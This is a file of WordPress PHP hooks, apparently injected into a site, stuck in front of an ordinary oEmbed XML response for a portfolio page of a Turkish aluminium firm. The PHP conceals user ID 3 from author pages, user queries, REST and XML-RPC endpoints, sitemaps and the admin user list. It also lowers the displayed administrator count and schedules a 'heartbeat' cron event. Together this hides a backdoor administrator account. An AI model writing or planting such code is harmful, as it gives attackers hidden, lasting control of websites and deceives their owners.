add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 3;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 3 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 3;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 3;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 3;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 3;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-3{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
<?xml version="1.0"?>
<oembed><version>1.0</version><provider_name>Nadir Al&#xFC;minyum - Cephe Giydirme , Al&#xFC;minyum Do&#x11F;rama , Merdiven Korkulu&#x11F;u , Polikarbon I&#x15F;&#x131;kl&#x131; , Otomatik Kap&#x131; , Yap&#x131; Otomasyonu , Al&#xFC;minyum Dekorasyon</provider_name><provider_url>https://nadiraluminyum.com/en</provider_url><author_name>Ozgur Erdogan</author_name><author_url>https://nadiraluminyum.com/en/author/admin/</author_url><title>BABEX&#x130;</title><type>rich</type><width>600</width><height>338</height><html>&lt;blockquote class="wp-embedded-content"&gt;&lt;a href="https://nadiraluminyum.com/en/portfolio/babexi/"&gt;BABEX&#x130;&lt;/a&gt;&lt;/blockquote&gt;
&lt;script type='text/javascript'&gt;
&lt;!--//--&gt;&lt;![CDATA[//&gt;&lt;!--
		/*! This file is auto-generated */
		!function(d,l){"use strict";var e=!1,o=!1;if(l.querySelector)if(d.addEventListener)e=!0;if(d.wp=d.wp||{},!d.wp.receiveEmbedMessage)if(d.wp.receiveEmbedMessage=function(e){var t=e.data;if(t)if(t.secret||t.message||t.value)if(!/[^a-zA-Z0-9]/.test(t.secret)){var r,a,i,s,n,o=l.querySelectorAll('iframe[data-secret="'+t.secret+'"]'),c=l.querySelectorAll('blockquote[data-secret="'+t.secret+'"]');for(r=0;r&lt;c.length;r++)c[r].style.display="none";for(r=0;r&lt;o.length;r++)if(a=o[r],e.source===a.contentWindow){if(a.removeAttribute("style"),"height"===t.message){if(1e3&lt;(i=parseInt(t.value,10)))i=1e3;else if(~~i&lt;200)i=200;a.height=i}if("link"===t.message)if(s=l.createElement("a"),n=l.createElement("a"),s.href=a.getAttribute("src"),n.href=t.value,n.host===s.host)if(l.activeElement===a)d.top.location.href=t.value}}},e)d.addEventListener("message",d.wp.receiveEmbedMessage,!1),l.addEventListener("DOMContentLoaded",t,!1),d.addEventListener("load",t,!1);function t(){if(!o){o=!0;var e,t,r,a,i=-1!==navigator.appVersion.indexOf("MSIE 10"),s=!!navigator.userAgent.match(/Trident.*rv:11\./),n=l.querySelectorAll("iframe.wp-embedded-content");for(t=0;t&lt;n.length;t++){if(!(r=n[t]).getAttribute("data-secret"))a=Math.random().toString(36).substr(2,10),r.src+="#?secret="+a,r.setAttribute("data-secret",a);if(i||s)(e=r.cloneNode(!0)).removeAttribute("security"),r.parentNode.replaceChild(e,r)}}}}(window,document);
//--&gt;&lt;!]]&gt;
&lt;/script&gt;&lt;iframe sandbox="allow-scripts" security="restricted" src="https://nadiraluminyum.com/en/portfolio/babexi/embed/" width="600" height="338" title="&#x201C;BABEX&#x130;&#x201D; &#x2014; Nadir Al&#xFC;minyum - Cephe Giydirme , Al&#xFC;minyum Do&#x11F;rama , Merdiven Korkulu&#x11F;u , Polikarbon I&#x15F;&#x131;kl&#x131; , Otomatik Kap&#x131; , Yap&#x131; Otomasyonu , Al&#xFC;minyum Dekorasyon" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" class="wp-embedded-content"&gt;&lt;/iframe&gt;</html><thumbnail_url>https://nadiraluminyum.com/wp-content/uploads/2017/04/babexi-3-Copy-1.jpg</thumbnail_url><thumbnail_width>600</thumbnail_width><thumbnail_height>398</thumbnail_height></oembed>
